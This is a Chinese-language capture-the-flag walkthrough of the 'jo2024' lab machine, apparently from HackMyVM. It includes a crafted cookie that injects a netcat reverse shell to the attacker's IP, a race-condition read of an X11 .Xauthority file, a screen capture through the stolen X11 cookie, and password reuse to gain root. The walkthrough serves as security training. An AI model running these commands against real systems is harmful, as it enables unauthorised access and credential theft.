信息收集 NAMP 扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 IP=192.168.0.135 nmap -A $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-21 03:50 EDT Nmap scan report for 192.168.0.135 Host is up (0.0014s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 e7:ce:f2:f6:5d:a7:47:5a:16:2f:90:07:07:33:4e:a9 (ECDSA) |_ 256 09:db:b7:e8:ee:d4:52:b8:49:c3:cc:29:a5:6e:07:35 (ED25519) 80/tcp open http Apache httpd 2.4.61 ((Debian)) |_http-server-header: Apache/2.4.61 (Debian) |_http-title: Paris 2024 Olympic Games MAC Address: 08:00:27:86:FD:D1 (Oracle VirtualBox virtual NIC) Device type : general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.35 ms 192.168.0.135 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 15.51 seconds
开着 80,看一眼首页,应该是和 2024 年的奥运会有关。几个链接都点不开。
看了下主机名: jo2024.hmv
1 gobuster dir -u http://$IP -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,txt,html,7z,zip,pdf
跑出来一个 /preferences.php
第一次看到了说 Cookie 咋滴,手一抖刷新了下没了,然后就说
1 2 3 Your language setting is fr. Your background color is #ddd.
然后一看 Cookie:
1 preferences=TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ%3D%3D
后面应该是 url 编码了个 ==
明显是一个 base64 编码的字符串,解码一下:
1 O:15:"UserProfile":2:{s:8:"language";s:6:"fr";s:15:"backgroundColor";s:4:"#ddd";}
这个明显是 php 的序列化字符串,第一反应就是如何用反序列化漏洞了。
目前这个里面只有两个字段,一个是语言,一个是背景颜色,看起来是一个用户的配置文件。又没有源代码,魔术方法也看不见,那么怎么利用呢?
在这个反序列上卡了一万年后,最后大佬说,language 的值可以直接执行系统指令。。这个我是真没想到。。
1 2 curl http://$IP /preferences.php --cookie "preferences=TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjMxOiJuYyAxOTIuMTY4LjAuMzAgMTIzNCAtZSAvYmluL3NoIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ%3D%3D"
拿了个 webshell。www-data 权限。 升级下 shell
1 2 3 4 5 6 7 8 python3 -c 'import pty; pty.spawn("/bin/bash")' cat /etc/passwdvanity:x:1000:1000:,,,:/home/vanity:/bin/bash www-data@jo2024:/home/vanity$ ls Desktop Documents Images backup creds user.txt www-data@jo2024:/home/vanity$ cat user.txt cat user.txtcat : user.txt: Permission denied
提权 没权限看 user.txt
, sudo -l
,需要输入密码。不知道密码。 有个 backup,猜测应该有备份的任务。在用户 vanity
的 home 里看到了一个 backup 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/bash SRC="/home/vanity" DEST="/backup" rm -rf /backup/{_,._}echo "Starting copy..." find "$SRC " -maxdepth 1 -type f ! -name user.txt | while read srcfile; do destfile="$DEST${srcfile#$SRC} " mkdir -p "$(dirname "$destfile " ) " dd if ="$srcfile " of="$destfile " bs=4M md5src=$(md5sum "$srcfile " | cut -d ' ' -f1) md5dest=$(md5sum "$destfile " | cut -d ' ' -f1) if [[ "$md5src " != "$md5dest " ]]; then echo "MD5 mismatch for $srcfile :(" fi chmod 700 "$destfile " done echo "Copy complete. All files verified !"
大概的意思就是把 vanity 的文件备份到 /backup 目录下,然后验证 md5,如果不一样就输出 MD5 mismatch for $srcfile。然后 chmod 700 $destfile。 这里有一个小问题,dd
命令是一个低级别的复制命令,一般在复制整个硬盘的时候用。比如做启动盘的时候,都是直接dd
. 然后有一个比较关键的点,dd
命令执行的时候会修改文件的权限,所以脚本在 dd
后用 chmod 700
来修改文件权限。 关于这一点,一会文末总结一波。
所以,我们可以在这个时间内,去读到 .Xauthority
这个文件,这个文件是用来存储 X11 的验证信息的。
这里有个细节问题:.Xauthority
这个文件是二进制的,所以用 cat 读取的时候会乱码。拿出来也没用。所以用 XXD 来读取。而靶机显然不会有 XXD,所以我们简单弄一个 busybox 过去就好了。
用大佬的脚本:
1 for i in $(seq 10000);do /tmp/busybox xxd /backup/.Xauthority|tee -a d.log ;done
看到屏幕一闪而过,就看见 .Xauthority
在 d.log 里了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 00000000: 0100 0006 6465 6269 616e 0002 3131 0012 ....debian..11.. 00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945 MIT-MAGIC-COOKIE 00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010 -1...>7...EXJ[.. 00000030: c6d3 6685 0100 0006 6465 6269 616e 0001 ..f.....debian.. 00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f 0..MIT-MAGIC-COO 00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00 KIE-1........m.. 00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032 .lJ........jo202 00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41 4.hmv..0..MIT-MA 00000080: 4749 432d 434f 4f4b 4945 2d31 0010 06dd GIC-COOKIE-1.... 00000090: 695c f35b 0a15 dc99 0f50 9130 e650 i\.[.....P.0.P 00000000: 0100 0006 6465 6269 616e 0002 3131 0012 ....debian..11.. 00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945 MIT-MAGIC-COOKIE 00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010 -1...>7...EXJ[.. 00000030: c6d3 6685 0100 0006 6465 6269 616e 0001 ..f.....debian.. 00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f 0..MIT-MAGIC-COO 00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00 KIE-1........m.. 00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032 .lJ........jo202 00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41 4.hmv..0..MIT-MA 00000080: 4749 432d 434f 4f4b 4945 2d31 0010 06dd GIC-COOKIE-1.... 00000090: 695c f35b 0a15 dc99 0f50 9130 e650 i\.[.....P.0.P 00000000: 0100 0006 6465 6269 616e 0002 3131 0012 ....debian..11.. 00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945 MIT-MAGIC-COOKIE 00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010 -1...>7...EXJ[.. 00000030: c6d3 6685 0100 0006 6465 6269 616e 0001 ..f.....debian.. 00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f 0..MIT-MAGIC-COO 00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00 KIE-1........m.. 00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032 .lJ........jo202 00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41 4.hmv..0..MIT-MA 00000080: 4749 432d 434f 4f4b 4945 2d31 0010 06dd GIC-COOKIE-1.... 00000090: 695c f35b 0a15 dc99 0f50 9130 e650 i\.[.....P.0.P 00000000: 0100 0006 6465 6269 616e 0002 3131 0012 ....debian..11.. 00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945 MIT-MAGIC-COOKIE 00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010 -1...>7...EXJ[.. 00000030: c6d3 6685 0100 0006 6465 6269 616e 0001 ..f.....debian.. 00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f 0..MIT-MAGIC-COO 00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00 KIE-1........m.. 00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032 .lJ........jo202 00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41 4.hmv..0..MIT-MA 00000080: 4749 432d 434f 4f4b 4945 2d31 0010 06dd GIC-COOKIE-1.... 00000090: 695c f35b 0a15 dc99 0f50 9130 e650 i\.[.....P.0.P
在 CyberChef 里解码一下,save 出来文件,再丢到靶机上。
1 2 3 4 5 6 xauth -f download.dat Using authority file download.dat xauth> list debian/unix:11 MIT-MAGIC-COOKIE-1 e23e37c80ab245584a5bf010c6d36685 debian/unix:0 MIT-MAGIC-COOKIE-1 f99d8ebcf0f56d8f00036c4aacedb20c jo2024.hmv/unix:0 MIT-MAGIC-COOKIE-1 06dd695cf35b0a15dc990f509130e650
就看看见验证信息了。这个 X11 的东西见过很多次了,不过完全不知道咋用。 hacktricks 上有一套利用方案 https://book.hacktricks.xyz/network-services-pentesting/6000-pentesting-x11#enumeratio
而且还有一个细节,就是在 pspy 里看进程的时候,靶机设计了一个 mousepad 的进程,这个是用来打开文本文件的,打开的文件是:
1 /us/bin/mousepad /home/vanity/creds/credentials.txt
看起来是显示密码用的。不过是图形化里的。 在用户的家目录有一个脚本:
1 2 3 4 5 6 7 8 9 /home/vanity/.local$ cat mousepad.sh rm -f /home/vanity/.local/share/Mousepad/auto\*/usr/bin/mousepad /home/vanity/creds/credentials.txt & sleep 1wmctrl -r "credentials.txt - Mousepad" -b add,maximized_vert,maximized_horz
看到每 1s 就会执行一次这个脚本,然后就是打开这个文件。简单来说这文件基本上一直开着。
1 2 export XAUTHORITY=/tmp/download.datxwd -root -screen -silent -display :0 > screenshot.xwd
直接在 kali 的图形界面里双击就能看见了:
提权 root 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ssh vanity@$IP sudo -lMatching Defaults entries for vanity on jo2024: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User vanity may run the following commands on jo2024: (ALL : ALL) NOPASSWD: /usr/local/bin/php-server.sh cat /usr/local/bin/php-server.sh/usr/bin/php -t /opt -S 0.0.0.0:8000 ls -al /opt/ls : cannot open directory '/opt/' : Permission deniedsudo /usr/local/bin/php-server.sh[Fri Aug 23 04:31:47 2024] PHP 8.2.20 Development Server (http://0.0.0.0:8000) started
可以用 sudo 来启动一个 php 服务器,这个服务器 -t 指定了目录, -S 指定了端口。 不过/opt 目录是没有权限的。
浏览器打开 8000 端口,看到了一个 Olympic Athlete Password Leaked! 的页面。打开源码能看见:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 const csrfToken = "0b8c28722248d54790eb611700a9c76afbdada117ee57f7bb3b7ce72c84f10c7" ; document .addEventListener ("DOMContentLoaded" , function ( ) { fetch ("get_protected_content.php" , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON .stringify ({ token : csrfToken }), }) .then ((response ) => response.json ()) .then ((data ) => { if (data.content ) { document .getElementById ("protected-content" ) .setAttribute ("data-content" , data.content ); } else { console .error ("Failed to load content:" , data); } }) .catch ((error ) => console .error ("Error fetching content:" , error)); }); function showOverlay ( ) { document .getElementById ("overlay" ).classList .add ("show-overlay" ); } function hideOverlay ( ) { document .getElementById ("overlay" ).classList .remove ("show-overlay" ); } window .activateFeature = function ( ) { var contentDiv = document .getElementById ("protected-content" ); var protectedContent = contentDiv.getAttribute ("data-content" ); if (protectedContent) { contentDiv.innerHTML = protectedContent; contentDiv.style .background = "none" ; contentDiv.style .color = "#333" ; contentDiv.classList .remove ("blurred" ); hideOverlay (); } else { console .error ("No content available" ); } }; document .addEventListener ("keydown" , function (event ) { if (event.key === "Escape" ) { hideOverlay (); } });
get_protected_content.php
的返回值:
1 2 3 4 { "content" : "As part of a recent cyber attack, we managed to access Usain Bolt's personal account. The password associated with his account is <strong> LightningBolt123<\/strong>. This breach demonstrates the vulnerabilities of even the most secure systems." }
这个是个啥密码?
1 2 3 vanity@jo2024:~$ su - Password: root@jo2024:~# cat /root/root.txt
神奇吗,竟然是root密码。差一点就要去扫一波目录了。。
总结 靶场里的 X11 相关的信息是一概不懂,压根没用过,只是知道这玩意是图形化远程用的东西。这个是一个很好的学习机会, dd
命令我自己感觉会维持原有权限, 然后搜不到特别明确的资料,所以我问了 ChatGPT,结果这货告诉我我是对的。然后我就信了。所以这个是一个很好的教训,要自己去验证。 看看大佬是如何验证的: 先是试了试。 然后顺带手查了下源码, https://github.com/coreutils/coreutils/blob/master/src/dd.c https://github.com/coreutils/coreutils/blob/master/src/system.h#L26
你说 6 不 6 吧,真是 666 .
其实如果你中英文都用了,换了一堆搜索词,还是都查不到相关资料,大概率 GPT 也并没有学过这个资料,所以你问他的时候,他基本上也是瞎说。所以这个时候你要想办法去找第一手资料,或者自己想办法去验证。
好了,完结撒花。 🎉